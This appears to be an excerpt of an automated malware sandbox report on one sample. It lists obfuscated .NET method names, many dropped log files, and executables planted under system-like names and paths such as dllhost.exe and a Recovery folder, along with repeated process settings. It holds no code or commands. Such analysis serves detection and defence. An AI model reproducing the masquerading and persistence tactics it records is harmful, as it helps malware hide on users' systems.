Source: 6G8OR42xrB.exe, nE7uJER4gQLcMFaLuJD.cs	High entropy of concatenated method names: 'YIfRI0vHBB', 'j8oRmQieG7', 'dRURGSrpSK', 'LLYR5WSfKB', 'h6cRCpSaM9', 'wf9RcCfK2F', 'UDwRUVLqP2', 'WsVRvOgbpv', 'Dispose', 'o5Ajm0WrAewnZFNV1PSa'
Source: 6G8OR42xrB.exe, qEPTED26Miij1tanEpo.cs	High entropy of concatenated method names: 'P83', 'KZ3', 'TH7', 'imethod_0', 'vmethod_0', 'KoHWpXfrowC', 'PUbWwW3vdfJ', 'wDDNmQW9gpeu5t9pw2Kl', 'CAu4dVW9kHNYMQWrsP55', 'XcrnR4W9aWb8RvZ5Ndt3'
Source: 6G8OR42xrB.exe, qtEerZ1dnC4MtK4Kuo0.cs	High entropy of concatenated method names: 'oVs1RpXY2w', 'WjV1nULTlt', 'hTZbdwW6XsNYKhFYaUF4', 'jDBoUcW6pNv1R24uPd9O', 'GFTxnHW6A34NJOm5Cq3Z', 'wwFoxtW67Vk4t0oVw6Nj', 'nQf1SfMxkr', 'k9t1uNdkDl', 'XDX1bjPOBP', 'b2U1VGq3Yr'
Source: 6G8OR42xrB.exe, Wqfw7wx7Xdv8jXwSHhe.cs	High entropy of concatenated method names: 'Rrr', 'y1x', 'rHEWpGs9vBX', 'sP5Wp5fbuPl', 'goUpBgWdNoDbQtxZtfMO', 'YG8NkCWdRaUgHnBARmdc', 'E6jaxfWdnrXF0d5HhL2l', 'kRFJlBWdrFMm9ibqVvKw', 'PX6bMqWdQj9yWJDWrYMb', 'C2vPFPWdsPZRNjktly70'
Source: 6G8OR42xrB.exe, AL22D2CKeqEXsIOwWqs.cs	High entropy of concatenated method names: 'lMfCEeEaDS', 'JGhCNDrmOf', 'KUaCR8gp6d', 'DVFCnqFoLy', 'i3CCrV18s2', 'RNtsLpWSaeAJiVcZHIyE', 'PFY4y6WSK4MyoVGPrvFU', 'TUSmiaWSlnvKxWJC9uor', 'FLuZfPWSEmYkgqpYLr1o', 'DX8EUfWSNqXSsT2pxUdl'
Source: 6G8OR42xrB.exe, JMbPyxAfMJIQLSGahgK.cs	High entropy of concatenated method names: 'q76', 'method_0', 'p9e', 'hkB', 'method_1', 'method_2', 'QjEAr1W88RNLtwGrEphX', 'FvX2gEW8ZjpYZHCYZVO4', 'eASaBxW8JuJdXbxnqA8w', 'nx066gW8BYrVeQjmeXFN'
Source: 6G8OR42xrB.exe, Pdg6lG0ubyWMjxeAt1d.cs	High entropy of concatenated method names: 'Jhm0V4JFfH', 't8R0gK8We3', 'wPb0kY5hF0', 'p3e0al4uHj', 'PYP0KKLPET', 'DkLFPvWkPVbMK3Xj0qDw', 'f5NWlRWk6rPsKoKJ9Plv', 'RtfVxfWk8EQhGieJE9gB', 'iIVSrOWkhtuNIwUVY957', 'b5ECo7Wk96bnpJ5dyf7G'
Source: 6G8OR42xrB.exe, tc2rqapXsdKxPKJYG2X.cs	High entropy of concatenated method names: 'BMQpMvCtul', 'QCdp4RAR2X', 'Jkcpf0WpSB', 'SJkrMPW65rkilJcBaqem', 'ek8In9W6Cbqyr9ZjTsJ1', 'KG9VLXW6x6TS9dPpmWlU', 'KW3i3YW6GuVVu2cgpZnW', 'KXP3XdW6cYwWNNPYQbnV', 'vTRqeZW6UBv2m6uiYhOw', 'c2CSG0W6vQNsXwJ0soSh'
Source: 6G8OR42xrB.exe, cn4QDWwjmfys9gittfx.cs	High entropy of concatenated method names: 'Cx1wQTIK7s', 'ebX1MPWh4fpAZ1j2pMkA', 'iU9cRKWhfgNMVDDfI9id', 'dSEl1gWh7e9r62jEX8dd', 'XO07E3WhMRHnYPeL52sx', 'bTiRhwWhY3ZNQENF45P8', 'O50pMeWhIa2Zlcw6m3Se', 'V7txEDWhHcEltm3ofF0T', 'dxUNkCWhOuIRatECsnZX', 'ffCq2ihRgK'
Source: 6G8OR42xrB.exe, pjkOIIFleZttpUYRfO7.cs	High entropy of concatenated method names: 'eQXFNAh6Up', 'g5AFRPOeYQ', 'L4qFnJaAxF', 'eUPFrNxxGa', 'JXyFQX1sm5', 'SjtOjRWVSwns7qH5sId8', 'XINtVVWVunpLrDyOMHqa', 'MdH0fnWVbI7rSeHOPd8d', 'gkla6FWVVC6NiaxLkMGE', 'OQdoQeWVgpmyB71fImyM'
Source: 6G8OR42xrB.exe, ivEP6nYZsONuxC5iPP.cs	High entropy of concatenated method names: 'P3o697P01', 'cV947HWv99Pu5SdWjpJm', 'UMSBwvWv0Ubuotxq3S7Z', 'Ys8Te1Wvhtm1GbYN3t29', 'pHym2RhrC', 'Vmye1XyvR', 'uZjxLocVX', 'PnDGBRFVS', 'Lxi5jj592', 'iDoCNC91f'
Source: 6G8OR42xrB.exe, AcQmt5RhMIciyNh9GYR.cs	High entropy of concatenated method names: 'k5CRPUHZqI', 'HrsR6H8Gk1', 'CHoR8aW4AX', 'UOYRZUIKo5', 'Dispose', 'GvAaI6WrI2Z4g2yrVbQ8', 'pRI2tRWrHoDGT8RoX7H2', 'GZg4G1WrYWU1AmYgvYYJ', 'PCjw9wWrOt3yNxLVD53w', 'iNdWdVWrmYY3j2oTfDCS'
Source: 6G8OR42xrB.exe, CwvoajZ8IaluvaIqy9f.cs	High entropy of concatenated method names: 'Dispose', 'MoveNext', 'get_Current', 'Reset', 'get_Current', 'GetEnumerator', 'GetEnumerator', 'tspsfxWlc5F3cNQ9Vr7G', 'nYHM2LWl5CCjjGZp3CAH', 'ywiIfLWlCCAcH2b4vekI'
Source: 6G8OR42xrB.exe, g0TIwhef90IJedYdlBd.cs	High entropy of concatenated method names: 'FLjee3Mg3D', 'Js4xbSWoEXipXeOxuxsE', 'J68TU3WoNQv2Nfe3bSXI', 'w0Xrj9WoKuMTIgsTCxYT', 'F9DdILWolV80lAghBf3R', 'V1KgvNWoR6waPXDaDOmr', 'QHueIGQVFD', 'iDcS1fWoVAvkRqAXgiOF', 'TvDZF0WouvB29ANbKTu3', 'UNtR4GWob17Obsnx1WE7'
Source: 6G8OR42xrB.exe, oq3eAuFsFwmmIHHXjn0.cs	High entropy of concatenated method names: 'FsIy3i1WXt', 'RiLyWCELFE', 'B9TyLbkaEP', 'uYhyidhetw', 'SocywOrHPF', 's2UyquhWxx', 'UeUOtUWVRSY1PHqJT6JW', 'XCkk23WVEdweqdNtHya8', 'aCP6ehWVNc4gZw5tahrR', 'kvct8vWVn5DsKtAWDktO'
Source: 6G8OR42xrB.exe, L4LLwxivUubapyoxYwh.cs	High entropy of concatenated method names: 'lHuit8beJQ', 'bxriSgKdSn', 'OLtiuS9v4D', 'FQgAvsWyKGeCOKSu2qhm', 'mh18t7WylLmWGjYPXCGX', 'oZ9VAlWykr3oB5WUxl7r', 'GnHrBTWya0DtGnfpkV4r', 'dVGiFU2PjQ', 'aZtiyoBp36', 'Roji0eEMJg'
Source: 6G8OR42xrB.exe, GLxIZ9G4mSX8hvILNqO.cs	High entropy of concatenated method names: 'jpQCWDdHQR', 'IETJtlWSCkw9W2XvkX2m', 'vyBgONWScEj3ULOq3V9c', 'AUaiKyWSUWxY7jabifve', 'j3AGTR42l4', 'QdmGIQnrFT', 'HjeGHua8Rr', 'QWEGYKF4lU', 'wfhGOTwL8m', 'rEkGmj7y8j'
Source: 6G8OR42xrB.exe, rcorTy1A9j8ik4w5r64.cs	High entropy of concatenated method names: 'ztX17AgF2h', 'kdg1M4erPF', 'QrddRpWPx2HrKLKVcK7F', 'jeUcW5WPmUU4xINWxJ5x', 'W81WiyWPe9jMse3Enmhm', 'kU4hGQWPG3sFks4Ep3nv', 'iTsk7eWP5yn0UlDPJTVU', 'V6YS8WWPCrCZgXLV3ilV', 'J4WBlRWPct3sRohX1wIX', 'lgi4eOWPUaVfJIFcITGV'
Source: 6G8OR42xrB.exe, Sj9Hk6vh9wrlRpY7BAc.cs	High entropy of concatenated method names: 'method_0', 'Ua7vPUHOZ4', 'bXev6q61hU', 'TQAv8TENpk', 'gPivZqLhv2', 'BjyvJ3hoDN', 'mqyvBteCFt', 'hLwVBDWbeNxYIFk5kce7', 'Vh5UHAWbOp4YfGKlQUnO', 'KERAVUWbmlUngnebc40j'
Source: 6G8OR42xrB.exe, xHfnglBuZjJonacNJ33.cs	High entropy of concatenated method names: 'BcrWpclQeED', 'GN0BVjc0PS', 'WoxBgcUGBS', 'tBcBkKnBH8', 'AquWtoWEx6TxNeq0i4VJ', 'mIGH1vWEG6nSfxRYAeSa', 'nRnRCoWE5oiiU2Xmw8rg', 'AZFlq6WECHR3p7FmrvBf', 'tiBgUPWEc4pq8EgVgy2L', 'sba0VsWEU6IA5cU2HoBW'

Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\UFPCSltu.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\oKGqYEAI.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\EdTMGdjY.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\jgLrfuER.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\QxRtxTzz.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\rBoyeGgL.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\xtRXGmlA.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\KSbdxLrb.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\rmOGvfrE.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\DgrEkdUd.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\SgrmBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\nWChmqEK.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\Default\dllhost.exe	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\PNcvFrhU.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\atXTKUBx.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\fTDHJsUV.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\HcknqPri.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\gmAsnAGl.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\bZrIRyWp.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\hNSqvpFT.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\QBgDqFdS.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\PAqlbTkE.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\PRxDqpeG.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\qDMpIHRR.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\jKtyRpUO.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\UoIjEQAs.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\sKUgPnTy.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\DUneVxwm.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\JVzVcMcg.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\LPClTLGW.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\ylqndxek.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\fPizYvXj.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\JRkLjayM.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\bhbbwhxv.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\fbmaobua.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\zmgFsjXy.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\lQurfKCd.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\WDgcDXBE.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\YnWavzTi.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\lILYBbbX.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\BjHNOjmt.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\tyYoAAPw.log	Jump to dropped file

Source: C:\Users\user\Desktop\6G8OR42xrB.exe

File created: C:\Users\Default\dllhost.exe

Jump to dropped file

Source: C:\Users\user\Desktop\6G8OR42xrB.exe

File created: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\SgrmBroker.exe

Jump to dropped file

Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\ylqndxek.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\fTDHJsUV.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\PRxDqpeG.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\EdTMGdjY.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\nWChmqEK.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\UFPCSltu.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\JRkLjayM.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\sKUgPnTy.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\jgLrfuER.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\YnWavzTi.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\rmOGvfrE.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\hNSqvpFT.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\PAqlbTkE.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\oKGqYEAI.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\fbmaobua.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\UoIjEQAs.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\DgrEkdUd.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\tyYoAAPw.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\jKtyRpUO.log	Jump to dropped file
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	File created: C:\Users\user\Desktop\QxRtxTzz.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\QBgDqFdS.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\lQurfKCd.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\bhbbwhxv.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\JVzVcMcg.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\zmgFsjXy.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\qDMpIHRR.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\fPizYvXj.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\PNcvFrhU.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\DUneVxwm.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\lILYBbbX.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\bZrIRyWp.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\KSbdxLrb.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\BjHNOjmt.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\rBoyeGgL.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\atXTKUBx.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\HcknqPri.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\xtRXGmlA.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\gmAsnAGl.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\WDgcDXBE.log	Jump to dropped file
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File created: C:\Users\user\Desktop\LPClTLGW.log	Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\6G8OR42xrB.exe

File created: C:\Users\Default\dllhost.exe

Jump to dropped file

Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
